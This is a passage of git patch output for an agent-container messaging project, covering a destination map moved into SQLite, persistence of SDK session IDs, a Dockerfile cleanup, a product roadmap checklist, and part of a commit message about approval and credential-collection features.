-90,7 +100,7 @@ export function buildSystemPromptAddendum(): string { } const lines = ['## Sending messages', '', 'You can send messages to the following destinations:', '']; - for (const d of cache) { + for (const d of all) { const label = d.displayName && d.displayName !== d.name ? ` (${d.displayName})` : ''; lines.push(`- \`${d.name}\`${label}`); } diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 8bada5b..6692d33 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -26,7 +26,7 @@ import fs from 'fs'; import path from 'path'; import { fileURLToPath } from 'url'; -import { buildSystemPromptAddendum, loadDestinations } from './destinations.js'; +import { buildSystemPromptAddendum } from './destinations.js'; import { createProvider, type ProviderName } from './providers/factory.js'; import { runPollLoop } from './poll-loop.js'; @@ -45,9 +45,6 @@ async function main(): Promise { const provider = createProvider(providerName, { assistantName }); - // Load destination map (written by host on every wake) - loadDestinations(); - // Load global CLAUDE.md as additional system context, then append destinations addendum let systemPrompt: string | undefined; if (fs.existsSync(GLOBAL_CLAUDE_MD)) { diff --git a/container/agent-runner/src/integration.test.ts b/container/agent-runner/src/integration.test.ts index 90aae2b..d30f324 100644 --- a/container/agent-runner/src/integration.test.ts +++ b/container/agent-runner/src/integration.test.ts @@ -1,7 +1,6 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { initTestSessionDb, closeSessionDb, getInboundDb, getOutboundDb } from './db/connection.js'; -import { setDestinationsForTest } from './destinations.js'; import { getUndeliveredMessages } from './db/messages-out.js'; import { getPendingMessages } from './db/messages-in.js'; import { MockProvider } from './providers/mock.js'; @@ -9,21 +8,17 @@ import { runPollLoop } from './poll-loop.js'; beforeEach(() => { initTestSessionDb(); - // Provide a test destination map so output parsing can resolve "discord-test" → routing - setDestinationsForTest([ - { - name: 'discord-test', - displayName: 'Discord Test', - type: 'channel', - channelType: 'discord', - platformId: 'chan-1', - }, - ]); + // Seed a destination so output parsing can resolve "discord-test" → routing + getInboundDb() + .prepare( + `INSERT INTO destinations (name, display_name, type, channel_type, platform_id, agent_group_id) + VALUES ('discord-test', 'Discord Test', 'channel', 'discord', 'chan-1', NULL)`, + ) + .run(); }); afterEach(() => { closeSessionDb(); - setDestinationsForTest([]); }); function insertMessage(id: string, content: object, opts?: { platformId?: string; channelType?: string; threadId?: string }) { diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index b011628..b1e7bbd 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -9,7 +9,6 @@ import { Server } from '@modelcontextprotocol/sdk/server/index.js'; import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; import { CallToolRequestSchema, ListToolsRequestSchema } from '@modelcontextprotocol/sdk/types.js'; -import { loadDestinations } from '../destinations.js'; import type { McpToolDefinition } from './types.js'; import { coreTools } from './core.js'; import { schedulingTools } from './scheduling.js'; @@ -21,10 +20,6 @@ function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); } -// Load the destination map — this process is spawned fresh for each container -// wake, so the map file is always fresh (written by the host before spawn). -loadDestinations(); - // Only admin agents get the create_agent tool. Non-admins never see it in the // listTools response; the host also re-checks permission on receive as defense // in depth (see delivery.ts create_agent handler). diff --git a/src/container-runner.ts b/src/container-runner.ts index ac4d2cf..9881ca2 100644 --- a/src/container-runner.ts +++ b/src/container-runner.ts @@ -20,7 +20,7 @@ import { markContainerRunning, markContainerStopped, sessionDir, - writeDestinationsFile, + writeDestinations, } from './session-manager.js'; import type { AgentGroup, Session } from './types.js'; @@ -59,8 +59,8 @@ export async function wakeContainer(session: Session): Promise { return; } - // Refresh the destination map file so any admin changes take effect on wake - writeDestinationsFile(agentGroup.id, session.id); + // Refresh the destination map so any admin changes take effect on wake + writeDestinations(agentGroup.id, session.id); const mounts = buildMounts(agentGroup, session); const containerName = `nanoclaw-v2-${agentGroup.folder}-${Date.now()}`; diff --git a/src/db/schema.ts b/src/db/schema.ts index d2ed36a..08bc95d 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -76,7 +76,7 @@ CREATE TABLE pending_questions ( * outbound.db — container writes, host reads (read-only open) */ -/** Host-owned: inbound messages + delivery tracking. */ +/** Host-owned: inbound messages + delivery tracking + destination map. */ export const INBOUND_SCHEMA = ` CREATE TABLE messages_in ( id TEXT PRIMARY KEY, @@ -101,6 +101,19 @@ CREATE TABLE delivered ( status TEXT NOT NULL DEFAULT 'delivered', delivered_at TEXT NOT NULL ); + +-- Destination map for this session's agent. +-- Host overwrites on every container wake AND on demand (admin rewires, new child agents, etc.). +-- Container queries this live on every lookup, so admin changes take effect +-- mid-session without requiring a container restart. +CREATE TABLE destinations ( + name TEXT PRIMARY KEY, + display_name TEXT, + type TEXT NOT NULL, -- 'channel' | 'agent' + channel_type TEXT, -- for type='channel' + platform_id TEXT, -- for type='channel' + agent_group_id TEXT -- for type='agent' +); `; /** Container-owned: outbound messages + processing acknowledgments. */ diff --git a/src/delivery.ts b/src/delivery.ts index 2c44941..4d60715 100644 --- a/src/delivery.ts +++ b/src/delivery.ts @@ -35,6 +35,7 @@ import { sessionDir, inboundDbPath, resolveSession, + writeDestinations, writeSessionMessage, writeSystemResponse, } from './session-manager.js'; @@ -611,6 +612,10 @@ async function handleSystemAction( created_at: now, }); + // Refresh the creator's destination map so the new child appears + // immediately on the next query — no restart needed. + writeDestinations(session.agent_group_id, session.id); + // Fire-and-forget notification back to the creator notifyAgent( session, diff --git a/src/session-manager.ts b/src/session-manager.ts index 1bd61be..3267871 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -132,43 +132,73 @@ export function initSessionFolder(agentGroupId: string, sessionId: string): void } /** - * Write the destination map file into the session folder. - * Called before every container wake so admin changes take effect on next start. - * The container loads this at startup to know what destinations exist. + * Write the session's destination map into its inbound.db `destinations` table. + * + * Called before every container wake so admin changes take effect on next start — + * but the container also re-queries on demand, so mid-session admin changes + * (e.g. spawning a new child agent) can also call this to push the new map + * without restarting the container. + * + * Uses DELETE + INSERT in a transaction for a clean overwrite. */ -export function writeDestinationsFile(agentGroupId: string, sessionId: string): void { - const dir = sessionDir(agentGroupId, sessionId); - if (!fs.existsSync(dir)) return; +export function writeDestinations(agentGroupId: string, sessionId: string): void { + const dbPath = inboundDbPath(agentGroupId, sessionId); + if (!fs.existsSync(dbPath)) return; const rows = getDestinations(agentGroupId); - const destinations: Array> = []; + type DestRow = { + name: string; + display_name: string | null; + type: 'channel' | 'agent'; + channel_type: string | null; + platform_id: string | null; + agent_group_id: string | null; + }; + const resolved: DestRow[] = []; for (const row of rows) { if (row.target_type === 'channel') { const mg = getMessagingGroup(row.target_id); if (!mg) continue; - destinations.push({ + resolved.push({ name: row.local_name, - displayName: mg.name ?? row.local_name, + display_name: mg.name ?? row.local_name, type: 'channel', - channelType: mg.channel_type, - platformId: mg.platform_id, + channel_type: mg.channel_type, + platform_id: mg.platform_id, + agent_group_id: null, }); } else if (row.target_type === 'agent') { const ag = getAgentGroup(row.target_id); if (!ag) continue; - destinations.push({ + resolved.push({ name: row.local_name, - displayName: ag.name, + display_name: ag.name, type: 'agent', - agentGroupId: ag.id, + channel_type: null, + platform_id: null, + agent_group_id: ag.id, }); } } - const filePath = path.join(dir, '.nanoclaw-destinations.json'); - fs.writeFileSync(filePath, JSON.stringify({ destinations }, null, 2)); - log.debug('Destination map written', { sessionId, count: destinations.length }); + const db = new Database(dbPath); + db.pragma('journal_mode = DELETE'); + db.pragma('busy_timeout = 5000'); + try { + const tx = db.transaction((entries: DestRow[]) => { + db.prepare('DELETE FROM destinations').run(); + const stmt = db.prepare( + `INSERT INTO destinations (name, display_name, type, channel_type, platform_id, agent_group_id) + VALUES (@name, @display_name, @type, @channel_type, @platform_id, @agent_group_id)`, + ); + for (const e of entries) stmt.run(e); + }); + tx(resolved); + } finally { + db.close(); + } + log.debug('Destination map written', { sessionId, count: resolved.length }); } /** Write a message to a session's inbound DB (messages_in). Host-only. */ From b59216c2999fb973401d4dc892fb714bf1cb60be Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 11 Apr 2026 01:17:42 +0300 Subject: [PATCH 047/295] fix(v2): persist SDK session ID across container restarts The v2 poll loop held the session ID in a local variable, so every container restart started a fresh SDK session even though the .jsonl transcript was still sitting in the shared .claude mount. Store it in outbound.db (container-owned, already per channel/thread), seed the loop on startup, clear on /clear, and recover from stale-session errors the same way v1 did. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/connection.ts | 15 +++++++ .../agent-runner/src/db/session-state.ts | 41 +++++++++++++++++++ container/agent-runner/src/poll-loop.ts | 34 +++++++++++++-- src/db/schema.ts | 9 ++++ 4 files changed, 95 insertions(+), 4 deletions(-) create mode 100644 container/agent-runner/src/db/session-state.ts diff --git a/container/agent-runner/src/db/connection.ts b/container/agent-runner/src/db/connection.ts index 954ebbc..1f1c407 100644 --- a/container/agent-runner/src/db/connection.ts +++ b/container/agent-runner/src/db/connection.ts @@ -38,6 +38,16 @@ export function getOutboundDb(): Database.Database { _outbound.pragma('journal_mode = DELETE'); _outbound.pragma('busy_timeout = 5000'); _outbound.pragma('foreign_keys = ON'); + // Lightweight forward-compat: session_state was added after the initial + // v2 schema, so older session DBs don't have it. Create it on demand + // instead of requiring a formal migration pass. + _outbound.exec(` + CREATE TABLE IF NOT EXISTS session_state ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + updated_at TEXT NOT NULL + ); + `); } return _outbound; } @@ -126,6 +136,11 @@ export function initTestSessionDb(): { inbound: Database.Database; outbound: Dat status TEXT NOT NULL, status_changed TEXT NOT NULL ); + CREATE TABLE session_state ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + updated_at TEXT NOT NULL + ); `); return { inbound: _inbound, outbound: _outbound }; diff --git a/container/agent-runner/src/db/session-state.ts b/container/agent-runner/src/db/session-state.ts new file mode 100644 index 0000000..a199ae1 --- /dev/null +++ b/container/agent-runner/src/db/session-state.ts @@ -0,0 +1,41 @@ +/** + * Persistent key/value state for the container. Lives in outbound.db + * (container-owned, already scoped per channel/thread). + * + * Primary use: remember the SDK session ID so the agent's conversation + * resumes across container restarts. Cleared by /clear. + */ +import { getOutboundDb } from './connection.js'; + +const SDK_SESSION_KEY = 'sdk_session_id'; + +function getValue(key: string): string | undefined { + const row = getOutboundDb() + .prepare('SELECT value FROM session_state WHERE key = ?') + .get(key) as { value: string } | undefined; + return row?.value; +} + +function setValue(key: string, value: string): void { + getOutboundDb() + .prepare( + 'INSERT OR REPLACE INTO session_state (key, value, updated_at) VALUES (?, ?, ?)', + ) + .run(key, value, new Date().toISOString()); +} + +function deleteValue(key: string): void { + getOutboundDb().prepare('DELETE FROM session_state WHERE key = ?').run(key); +} + +export function getStoredSessionId(): string | undefined { + return getValue(SDK_SESSION_KEY); +} + +export function setStoredSessionId(sessionId: string): void { + setValue(SDK_SESSION_KEY, sessionId); +} + +export function clearStoredSessionId(): void { + deleteValue(SDK_SESSION_KEY); +} diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 83d0316..52b3839 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -2,6 +2,7 @@ import { findByName, getAllDestinations, type DestinationEntry } from './destina import { getPendingMessages, markProcessing, markCompleted, type MessageInRow } from './db/messages-in.js'; import { writeMessageOut } from './db/messages-out.js'; import { touchHeartbeat, clearStaleProcessingAcks } from './db/connection.js'; +import { getStoredSessionId, setStoredSessionId, clearStoredSessionId } from './db/session-state.js'; import { formatMessages, extractRouting, categorizeMessage, type RoutingContext } from './formatter.js'; import type { AgentProvider, AgentQuery, McpServerConfig, ProviderEvent } from './providers/types.js'; @@ -37,9 +38,17 @@ export interface PollLoopConfig { * 6. Loop */ export async function runPollLoop(config: PollLoopConfig): Promise { - let sessionId: string | undefined; + // Resume the SDK session from a prior container run if one was persisted. + // The SDK's .jsonl transcripts live in the shared ~/.claude mount, so the + // conversation history is already on disk — we just need the session ID + // to tell the SDK which one to continue. + let sessionId: string | undefined = getStoredSessionId(); let resumeAt: string | undefined; + if (sessionId) { + log(`Resuming SDK session ${sessionId}`); + } + // Clear leftover 'processing' acks from a previous crashed container. // This lets the new container re-process those messages. clearStaleProcessingAcks(); @@ -104,6 +113,7 @@ export async function runPollLoop(config: PollLoopConfig): Promise { log('Clearing session (resetting sessionId)'); sessionId = undefined; resumeAt = undefined; + clearStoredSessionId(); writeMessageOut({ id: generateId(), kind: 'chat', @@ -159,10 +169,26 @@ export async function runPollLoop(config: PollLoopConfig): Promise { const processingIds = ids.filter((id) => !commandIds.includes(id)); try { const result = await processQuery(query, routing, config, processingIds); - if (result.sessionId) sessionId = result.sessionId; + if (result.sessionId && result.sessionId !== sessionId) { + sessionId = result.sessionId; + setStoredSessionId(sessionId); + } if (result.resumeAt) resumeAt = result.resumeAt; } catch (err) { - log(`Query error: ${err instanceof Error ? err.message : String(err)}`); + const errMsg = err instanceof Error ? err.message : String(err); + log(`Query error: ${errMsg}`); + + // Stale/corrupt session recovery: if the SDK can't find the session + // we asked it to resume, clear the stored ID so the next attempt + // starts fresh. The transcript .jsonl can go missing after a crash + // mid-write, manual deletion, or disk-full. + if (sessionId && /no conversation found|ENOENT.*\.jsonl|session.*not found/i.test(errMsg)) { + log(`Stale session detected (${sessionId}) — clearing for next retry`); + sessionId = undefined; + resumeAt = undefined; + clearStoredSessionId(); + } + // Write error response so the user knows something went wrong writeMessageOut({ id: generateId(), @@ -170,7 +196,7 @@ export async function runPollLoop(config: PollLoopConfig): Promise { platform_id: routing.platformId, channel_type: routing.channelType, thread_id: routing.threadId, - content: JSON.stringify({ text: `Error: ${err instanceof Error ? err.message : String(err)}` }), + content: JSON.stringify({ text: `Error: ${errMsg}` }), }); } diff --git a/src/db/schema.ts b/src/db/schema.ts index 08bc95d..2c40d6e 100644 --- a/src/db/schema.ts +++ b/src/db/schema.ts @@ -140,4 +140,13 @@ CREATE TABLE processing_ack ( status TEXT NOT NULL, status_changed TEXT NOT NULL ); + +-- Persistent key/value state owned by the container. Used (among other things) +-- to store the SDK session ID so the agent's conversation resumes across +-- container restarts. Cleared by /clear. +CREATE TABLE session_state ( + key TEXT PRIMARY KEY, + value TEXT NOT NULL, + updated_at TEXT NOT NULL +); `; From 630dd54ea9972a41371ea6d3f79d98a8c9a3db6a Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 11 Apr 2026 01:18:01 +0300 Subject: [PATCH 048/295] chore(container): drop v1 IPC dirs and update entrypoint comment MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The /workspace/ipc/* tree is a v1 leftover — v2 routes everything through inbound.db / outbound.db. Refresh the surrounding comment to describe what the entrypoint actually does. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/Dockerfile | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/container/Dockerfile b/container/Dockerfile index e8537c3..32ae1a0 100644 --- a/container/Dockerfile +++ b/container/Dockerfile @@ -49,12 +49,13 @@ COPY agent-runner/ ./ RUN npm run build # Create workspace directories -RUN mkdir -p /workspace/group /workspace/global /workspace/extra /workspace/ipc/messages /workspace/ipc/tasks /workspace/ipc/input +RUN mkdir -p /workspace/group /workspace/global /workspace/extra -# Create entrypoint script -# Container input (prompt, group info) is passed via stdin JSON. -# Credentials are injected by the host's credential proxy — never passed here. -# Follow-up messages arrive via IPC files in /workspace/ipc/input/ +# Create entrypoint script. +# The host mounts container/agent-runner/src at /app/src and the entrypoint +# recompiles on startup — this lets host source edits and skill installs +# take effect without rebuilding the image. All IO goes through the session +# DBs (inbound.db / outbound.db) mounted into /workspace. RUN printf '#!/bin/bash\nset -e\ncd /app && npx tsc --outDir /tmp/dist 2>&1 >&2\nln -s /app/node_modules /tmp/dist/node_modules\nchmod -R a-w /tmp/dist\ncat > /tmp/input.json\nnode /tmp/dist/index.js < /tmp/input.json\n' > /app/entrypoint.sh && chmod +x /app/entrypoint.sh # Set ownership to node user (non-root) for writable directories From 9dc8bc5d99a9823b313b2e3d20ffb762a00ace9d Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 11 Apr 2026 01:18:09 +0300 Subject: [PATCH 049/295] =?UTF-8?q?docs(v2):=20expand=20checklist=20?= =?UTF-8?q?=E2=80=94=20chat-first=20setup,=20product=20focus,=20skills=20m?= =?UTF-8?q?arketplace?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Capture the product direction that's been landing in recent work: everything configurable from chat once bootstrap is done, skills as the primary extension mechanism, and mark named destinations / agent self-modification / agent-to-agent comms as complete. Co-Authored-By: Claude Opus 4.6 (1M context) --- docs/v2-checklist.md | 116 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 102 insertions(+), 14 deletions(-) diff --git a/docs/v2-checklist.md b/docs/v2-checklist.md index 25437e6..99298c8 100644 --- a/docs/v2-checklist.md +++ b/docs/v2-checklist.md @@ -61,7 +61,39 @@ Status: [x] done, [~] partial, [ ] not started - [x] Agent-shared session mode (cross-channel shared sessions, e.g. GitHub + Slack) - [x] Auto-onboarding on channel registration (/welcome skill triggered on first wiring) - [ ] Setup vs production channel separation -- [ ] Generate visual diagram of customized instance at end of setup + +## Chat-First Setup Flow + +**Goal:** get the user out of Claude Code and into their messaging app as quickly as possible, then enable every part of customization, configuration, and setup from inside the chat app. Claude Code is the bootstrap, not the home. + +- [ ] Minimum-viable bootstrap in Claude Code: install deps, pick one channel, authenticate it, wire it to a default agent group, hand off — nothing else required before the user can leave Claude Code +- [ ] Post-handoff welcome message in the chat app guides the user through remaining setup (channels, skills, integrations, memory, scheduling, etc.) +- [ ] Add more channels from chat (currently requires returning to Claude Code to run `/add-*` skills) +- [ ] Authenticate channels from chat (OAuth/token entry via cards, no terminal required) +- [ ] Wire channels to agent groups from chat (today lives in `/manage-channels` Claude Code skill — port to in-chat flow with isolation-level question cards) +- [ ] Create new agent groups from chat (`create_agent` exists — expose via user-facing flow, not just agent-called tool) +- [ ] Edit agent group CLAUDE.md / instructions from chat +- [ ] Install / uninstall / configure skills from chat (see Skills & Marketplace section) +- [ ] Install / configure MCP servers from chat (see Skills & Marketplace section) +- [ ] Install packages from chat (today agent can request install_packages — expose a direct user-facing "install X" flow) +- [ ] Manage scheduled tasks from chat (list, pause, cancel, edit recurrence) +- [ ] Manage destinations from chat (list, rename, revoke) +- [ ] Manage permissions from chat (admin list, role assignment, approval policies) +- [ ] Trigger /setup, /debug, /customize, /migrate-nanoclaw from chat (today all require Claude Code) +- [ ] View and edit memory from chat +- [ ] Visualize current setup from chat (ties into Container Skills: installation diagram) +- [ ] Export / share setup from chat (ties into Container Skills: end-of-setup diagram + share) +- [ ] Fallback to Claude Code only when a change requires a code edit the agent can't self-apply (and even then, agent should offer to open Claude Code on the user's behalf) + +## Product Focus + +**North star:** prioritize skills, flows, and custom setups. Platform work (channels, routing, session DBs, approval flows, MCP tools) is plumbing — it should reach a "boring and reliable" state and then stop absorbing attention. The interesting surface area is what users can *build on top* of that plumbing: skills that add capabilities, conversational flows that orchestrate those skills, and custom per-user setups that compose channels/agents/skills/memory into something personal. + +- [ ] Every new feature request should be answered first with "is this a skill?" before being answered with "is this a platform change?" +- [ ] Skills should be the primary extension mechanism users and agents reach for — adding, removing, browsing, editing, debugging +- [ ] Flows (multi-step interactive sequences: setup, onboarding, migration, customize, debug) should be authorable as skills rather than hardcoded into the platform +- [ ] Custom setups (diverging from defaults: multiple agents, cross-channel routing, per-group memory, specialist sub-agents) should be composable from existing primitives without touching core platform code +- [ ] Platform-level work gets budgeted against the question: "does this unblock a class of skills/flows/setups that's otherwise impossible?" ## Routing @@ -88,16 +120,20 @@ Status: [x] done, [~] partial, [ ] not started ## MCP Tools (Container) -- [x] send_message (text, optional cross-channel targeting) +- [x] send_message (routes via named destinations; `to` field resolved against agent's local map) - [x] send_file (copy to outbox, write messages_out) -- [x] edit_message -- [x] add_reaction +- [x] edit_message (routed via destinations) +- [x] add_reaction (routed via destinations) - [x] send_card - [x] ask_user_question (blocking poll for response) - [x] schedule_task (with process_after and recurrence) - [x] list_tasks - [x] cancel_task / pause_task / resume_task -- [x] send_to_agent (writes message, routing incomplete) +- [x] create_agent (admin-only, creates agent group + folder + bidirectional destinations) +- [x] install_packages (apt/npm, admin approval required, strict name validation) +- [x] add_mcp_server (admin approval required) +- [x] request_rebuild (rebuilds per-agent-group Docker image) +- ~~send_to_agent~~ — deleted; agents are just destinations in the unified `send_message` ## Scheduling @@ -111,12 +147,19 @@ Status: [x] done, [~] partial, [ ] not started - [x] Admin user ID per group - [x] Admin-only command filtering in container -- [ ] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) +- [x] Approval flow (sensitive action -> card to admin -> approve/reject -> execute) — `pending_approvals` table, `requestApproval()` helper, reuses interactive card infra +- [x] Agent requests dependency/package install (install_packages, admin approval, rebuild on approval) +- [x] Self-modification — direct tools: + - [x] install_packages (apt/npm, admin approval, name validation both sides, max 20 per request) + - [x] add_mcp_server (admin approval) + - [x] request_rebuild (builds per-agent-group Docker image with approved packages) + - [x] Fire-and-forget model (write request, return immediately; chat notification on approval; container killed so next wake picks up new config/image) - [ ] Role definitions beyond admin (custom roles, per-group permissions) -- [ ] Configurable sensitive action list +- [ ] Configurable sensitive action list (hardcoded today) - [ ] Non-main groups requesting sensitive actions -- [ ] Agent requests dependency/package install (persists via Dockerfile change, requires approval) -- [ ] Agent self-modification flow: +- [ ] OneCLI integration for human-loop approvals on credentialed requests (agent touching a credentialed resource → OneCLI gates → approval card to admin → OneCLI releases credential) +- [ ] Sensitive data access flow (agent requests PII / secrets / private files → approval card → scoped, time-limited access) +- [ ] Self-modification via builder-agent delegation: - [ ] Agent requests code changes by delegating to a builder agent - [ ] Builder agent has write access to the requesting agent's code and Dockerfile - [ ] Approval modes: approve per-edit as builder works, or approve full diff at the end @@ -124,14 +167,32 @@ Status: [x] done, [~] partial, [ ] not started - [ ] On approval: apply edits, rebuild container image, restart agent - [ ] On rejection: discard changes, notify requesting agent +## Named Destinations + ACL + +- [x] `agent_destinations` table (agent_group_id, local_name, target_type, target_id) — migration 004 +- [x] Per-agent local-name routing map (channels and peer agents referenced by local names) +- [x] Destinations stored in inbound.db `destinations` table (moved from JSON file in `b591d7c`) — single source of truth, no separate file +- [x] Host writes the destination map into inbound.db before every container wake; container queries it live on every lookup so admin changes take effect mid-session +- [x] Container loads map at startup, appends system-prompt addendum listing destinations + `` syntax +- [x] Agent main output parsed for `` blocks; `...` treated as scratchpad +- [x] Host re-validates every outbound route via `hasDestination()` — unauthorized drops logged +- [x] Inbound formatter adds `from="name"` via reverse-lookup (consistent namespace both directions) +- [x] Single-destination shortcut — agents with one destination don't need `` wrapping +- [x] Backfill from existing `messaging_group_agents` on migration +- [x] Removed `NANOCLAW_PLATFORM_ID` / `CHANNEL_TYPE` / `THREAD_ID` env-var routing entirely + ## Agent-to-Agent Communication -- [~] send_to_agent MCP tool (writes message, host-side routing TODO) -- [ ] Host delivery to target agent's session DB -- [ ] Agent spawning a new sub-agent -- [ ] Internal-only agents (no channel attached) -- [ ] Permission delegation from parent to child agent +- [x] Host delivery to target agent's session DB (`channel_type='agent'` routing in `src/delivery.ts`) +- [x] Agent spawning a new sub-agent (`create_agent` MCP tool, admin-only, path-traversal guarded) +- [x] Dynamic agent group creation (folder + optional CLAUDE.md at runtime) +- [x] Internal-only agents (agents created without a channel attached) +- [x] Permission delegation from parent to child (bidirectional destination rows inserted at creation) +- [x] Bidirectional routing via inherited routing context; sender info enriched on the target side - [ ] Specialist sub-agents (browser agent, dev agent — user's agent delegates with request/approval) +- [ ] Browser agent with per-destination permissions between main agent and browser agent (main requests navigation/interaction; browser agent executes in isolated container) +- [ ] Sanitization of browser agent responses before handing back to main agent (strip scripts, inline images, untrusted HTML; prevent prompt injection from web content) +- [ ] Same permission + sanitization model for any sub-agent that accesses sensitive data sources (files, DBs, third-party APIs) ## In-Chat Agent Management @@ -144,6 +205,32 @@ Status: [x] done, [~] partial, [ ] not started - [ ] MCP/package installation from chat - [ ] Browse MCP marketplace / skills repository from chat +## Skills & Marketplace + +- [ ] Install skills from chat (agent requests, admin approves, skill dropped into container skills dir) +- [ ] Scan skills before install (lint SKILL.md, sandbox-check shell commands, require approval for network/FS-heavy skills) +- [ ] Scan marketplace npm packages before install (supply-chain check, typo-squat detection, known-bad list) +- [ ] MCP server marketplace — discover, preview, install +- [ ] Browse skills / MCP marketplace from chat (cards with search, preview, install) +- [ ] Local voice transcription skill — "just works" install flow: when the user sends a voice message and no transcription backend is installed, the agent asks once ("Install local voice transcription?"), and on approval the skill installs a fully-local speech-to-text model (no cloud calls). Subsequent voice messages transcribe automatically. +- [ ] Fully local NanoClaw — OpenCode + Gemma 4 as the agent provider instead of Claude Code, so an entire install can run with zero cloud inference. Requires wiring OpenCode as an agent provider (see Agent Providers) and a setup path that picks local models, pulls weights, and verifies everything runs offline. + +## Container Skills + +Container skills live inside agent containers at runtime (`container/skills/`) and are loaded into every agent session. These are distinct from feature/operational skills that ship with the host. + +- [ ] Customize container skill — agent-driven customization flow (add channel, integration, behavior change) usable from inside any agent session, not just the main repo +- [ ] Debug container skill — inspect logs, session DB, MCP server state, container env, recent errors from inside the agent +- [ ] Setup container skill — first-time setup flow triggered from inside the agent (ties to host-side /setup) +- [ ] Build-system container skills: + - [ ] Karpathy LLM Wiki builder (agent scaffolds a persistent wiki knowledge base for a group) + - [ ] Generic build-system framework for agent-authored sub-systems +- [ ] NanoClaw installation diagram skill — agent generates a visual diagram of the user's current setup (agent groups, channels, wirings, destinations, sub-agents, installed packages/MCP servers) +- [ ] Video replay skill — generate Remotion (or similar) videos that replay chat flows and sessions, referencing good UI patterns to produce shareable clips +- [ ] Excitement trigger skill — detects when the user expresses excitement about the agent's capabilities or their setup, and proactively encourages generating a diagram + sharing it +- [ ] End-of-migration diagram skill — at the end of `/migrate-nanoclaw` (or any migration flow), agent generates a visual diagram of the resulting setup and suggests sharing +- [ ] End-of-setup diagram skill — at the end of first-time `/setup`, agent generates a visual diagram and suggests sharing (merges the old "Generate visual diagram of customized instance at end of setup" line from Channel Adapters) + ## Webhook Ingestion - [ ] Generic webhook endpoint for external events @@ -165,6 +252,7 @@ Status: [x] done, [~] partial, [ ] not started ## Memory - [ ] Shared memory with approval flow (write to global memory requires admin approval) +- [ ] Agent memory system skills — skills for building and managing memory systems for an agent: archive/index large collections of files and data, then expose a memory interface the agent can query and update (e.g. QMD-style systems) ## Migration From e92b245399b25664045f5d411ad2c815ac1c6827 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 11 Apr 2026 17:18:21 +0300 Subject: [PATCH 050/295] =?UTF-8?q?feat(v2):=20OneCLI=200.3.1=20=E2=80=94?= =?UTF-8?q?=20approvals,=20credential=20collection,=20threaded=20routing?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three features built on top of @onecli-sh/sdk 0.3.1, landed together because they share wiring surfaces (session DB schema, delivery dispatcher, Chat SDK bridge, channel adapter contract). ## OneCLI manual-approval handler * `src/onecli-approvals.ts` — long-polls OneCLI via the SDK's `configureManualApproval`; on each request, delivers an `ask_question` card to the admin agent group's first messaging group, persists a `pending_approvals` row, and waits on an in-memory Promise resolved by the admin's button click or an expiry timer. Expired cards are edited to "Expired (...)" and a startup sweep flushes any rows left over from a previous process. * Short 11-byte approval id (`oa-<8 base36>`) instead of the SDK's UUID so the Telegram 64-byte `callback_data` limit is respected; the OneCLI UUID stays in the persisted payload for audit. * Migration 003 consolidated: `pending_approvals` now has the OneCLI-aware columns from the start (`agent_group_id`, `channel_type`, `platform_id`, `platform_message_id`, `expires_at`, `status`), `session_id` relaxed to nullable so cross-session approvals fit. * `handleQuestionResponse` in `src/index.ts` now routes OneCLI approvals through `resolveOneCLIApproval` before falling back to the session-bound approval path. ## Credential collection from chat New `trigger_credential_collection` MCP tool — the agent researches a third-party API, calls the tool with `{name, hostPattern, headerName, valueFormat, description}`, and blocks until the host reports saved, rejected, or failed. The credential value never enters the agent's context: the user submits it into a Chat SDK Modal on the host side, the host writes it to OneCLI via a thin facade (`src/onecli-secrets.ts` — shells out to `onecli secrets create`, shape mirrors the SDK we expect upstream), and only the status string flows back to the container via a system message. * `src/credentials.ts` — host-side handler: delivers the card to the conversation's own channel (not the admin channel — credential collection is a user-facing flow, distinct from admin approval), persists a `pending_credentials` row, drives the submit → `createSecret` → notify pipeline. Falls back gracefully when the channel doesn't support modals. * `src/db/credentials.ts` + migration 005: `pending_credentials` table. * `src/channels/chat-sdk-bridge.ts`: renders a `credential_request` card, handles the `nccr:` action prefix by opening a Modal with a TextInput, registers an `onModalSubmit` handler for the `nccm:` callback prefix. * `container/agent-runner/src/mcp-tools/credentials.ts`: the blocking MCP tool, mirroring the `ask_user_question` polling pattern. * `container/agent-runner/src/db/messages-in.ts`: `findCredentialResponse` helper to pick up the system message the host writes back. ## Threaded adapter routing The destination layer previously didn't carry thread context, so agent replies to Discord always landed in the root channel regardless of which thread the inbound came from. * `ChannelAdapter.supportsThreads: boolean` — declared by every channel skill at `createChatSdkBridge`. Threaded: Discord, Slack, Teams, Google Chat, Linear, GitHub, Webex. Non-threaded: Telegram, WhatsApp Cloud, Matrix, Resend, iMessage. * `src/router.ts`: non-threaded adapters strip `threadId` at ingest (threads collapse to channel-level sessions). Threaded adapters override the wiring's `session_mode` to `'per-thread'` so each thread = a session (except `agent-shared`, which is preserved as a cross-channel intent the adapter can't know about). * `session_routing` table in `inbound.db` — single-row default reply 